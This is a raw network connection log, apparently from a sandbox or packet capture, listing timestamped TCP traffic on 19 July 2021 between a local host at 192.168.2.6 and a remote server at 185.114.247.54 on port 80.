Jul 19, 2021 18:36:46.873048067 CEST	80	50034	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.873076916 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.873086929 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.873212099 CEST	50034	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.873298883 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.873569012 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.873590946 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.873671055 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.873910904 CEST	50034	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.874759912 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.874787092 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.874799967 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.874893904 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.874999046 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.875180006 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.876321077 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.876437902 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.876662970 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.876678944 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.876755953 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.876817942 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.876887083 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.918545008 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.918714046 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.957007885 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.957041025 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.957056999 CEST	80	50034	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.957075119 CEST	80	50034	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.957093000 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.957107067 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.957223892 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.957310915 CEST	50034	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.960514069 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960557938 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960576057 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960591078 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960607052 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960623026 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960635900 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960650921 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960664988 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960681915 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960699081 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.960709095 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.002027988 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.002065897 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.040556908 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.040584087 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.040595055 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.040610075 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.041254997 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.056801081 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.056940079 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.063937902 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.064347982 CEST	50034	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.065648079 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.149945021 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.150168896 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.151174068 CEST	80	50034	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.151210070 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.151216984 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.151252985 CEST	50034	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.151308060 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.235487938 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.250212908 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.250298977 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.274668932 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.274795055 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.275006056 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.275110960 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.357764959 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.357949018 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.358267069 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.358282089 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.358408928 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.358717918 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.358735085 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.358823061 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.359235048 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.359441042 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.359777927 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.359793901 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.359885931 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.360296011 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.360311985 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.360403061 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.364182949 CEST	50036	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.364293098 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.364413977 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.442873955 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.442958117 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.443073034 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.443145037 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.443372965 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.443461895 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.443480015 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.443492889 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.443676949 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.458775997 CEST	80	50036	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.459255934 CEST	50036	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.459994078 CEST	50036	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.488727093 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.488882065 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.525648117 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.526288033 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.526300907 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.526309013 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.526319981 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.526460886 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.527192116 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.528222084 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.528240919 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.528817892 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.528831959 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.529692888 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.554090977 CEST	80	50036	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.554116011 CEST	80	50036	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.554958105 CEST	50036	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.571203947 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.571234941 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.610445976 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.610466957 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.658056974 CEST	50036	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.658721924 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.659818888 CEST	50037	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.737308025 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.737699986 CEST	80	50037	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.737799883 CEST	50037	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.738368034 CEST	50037	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.742594004 CEST	80	50035	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.742701054 CEST	50035	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.751861095 CEST	80	50036	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.752068043 CEST	50036	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.818212986 CEST	80	50037	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.818223000 CEST	80	50037	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.818320036 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.818525076 CEST	50037	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.818598986 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.819674015 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.819843054 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.820050955 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.820169926 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.902211905 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.902380943 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.902538061 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.902553082 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.902604103 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.902637005 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.902698040 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.903026104 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.903033018 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.903040886 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.903111935 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.903182983 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.903254986 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.903264046 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.903270960 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.903337955 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.903578997 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.903650045 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.925868034 CEST	50037	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.949546099 CEST	50039	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.983755112 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.983774900 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.983809948 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.983824968 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.983892918 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.983931065 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:47.985694885 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:47.985867023 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.005894899 CEST	80	50037	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.006016016 CEST	50037	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.034966946 CEST	80	50039	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.035279989 CEST	50039	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.036663055 CEST	50039	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.062195063 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.062274933 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.062449932 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.062462091 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.062479973 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.062494040 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.062558889 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.064930916 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.065016031 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.065123081 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.065303087 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.065459967 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.065578938 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.120754004 CEST	80	50039	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.120863914 CEST	80	50039	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.120929003 CEST	50039	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.141102076 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.141130924 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.141140938 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.141159058 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.141170025 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.141179085 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.150888920 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.151030064 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.236569881 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.237327099 CEST	50039	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.240303040 CEST	50040	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.322468996 CEST	80	50040	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.322659016 CEST	50040	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.323604107 CEST	50040	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.324654102 CEST	80	50039	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.324671984 CEST	80	50038	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.324767113 CEST	50039	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.325695038 CEST	50038	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.380753994 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.405703068 CEST	80	50040	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.427725077 CEST	80	50040	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.428139925 CEST	50040	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.459511042 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.460469007 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.460503101 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.460683107 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.460911989 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.460958958 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.532701015 CEST	50040	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.534095049 CEST	50042	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.539083004 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.539160013 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.539249897 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.539319038 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.539525986 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.539597988 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.539659977 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.539736032 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.539872885 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.539913893 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.539946079 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.539962053 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.539978027 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.615243912 CEST	80	50040	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.615369081 CEST	50040	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.617120981 CEST	80	50042	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.617253065 CEST	50042	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.617907047 CEST	50042	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.618197918 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618216038 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618299007 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.618483067 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618498087 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618567944 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.618613958 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618711948 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.618752003 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618767023 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618825912 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.618900061 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618906021 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.618916988 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.618988991 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.619015932 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.619041920 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.619129896 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.698138952 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698220968 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698240042 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698240995 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.698301077 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.698311090 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698328018 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698343992 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698358059 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698375940 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698390961 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698407888 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698425055 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698438883 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.698455095 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.702969074 CEST	80	50042	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.702992916 CEST	80	50042	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.703089952 CEST	50042	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.777076006 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.777108908 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.777122974 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.777137995 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.777172089 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.777261019 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.826711893 CEST	50042	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.827275038 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.829407930 CEST	50043	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.830065966 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.906660080 CEST	80	50041	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.906742096 CEST	50041	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.919267893 CEST	80	50042	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.919344902 CEST	50042	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.923218966 CEST	80	50043	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.923342943 CEST	50043	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.923974991 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:48.924067974 CEST	50043	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.924160957 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.924833059 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.924971104 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.925138950 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:48.925261021 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.017110109 CEST	80	50043	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.017232895 CEST	80	50043	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.017323017 CEST	50043	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.017702103 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.017770052 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.017786980 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.017838955 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.018033028 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.018049955 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.018131971 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.018150091 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.018151045 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.018244028 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.018332958 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.018398046 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.111149073 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.111176014 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.111191034 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.111236095 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.111273050 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.120927095 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.120954037 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.120969057 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.120982885 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.120995998 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.121011019 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.121027946 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.121090889 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.121138096 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.126424074 CEST	50043	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.128770113 CEST	50045	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.205763102 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.205786943 CEST	80	50044	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:49.205849886 CEST	50044	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:49.205894947 CEST	50044	80	192.168.2.6	185.114.247.54
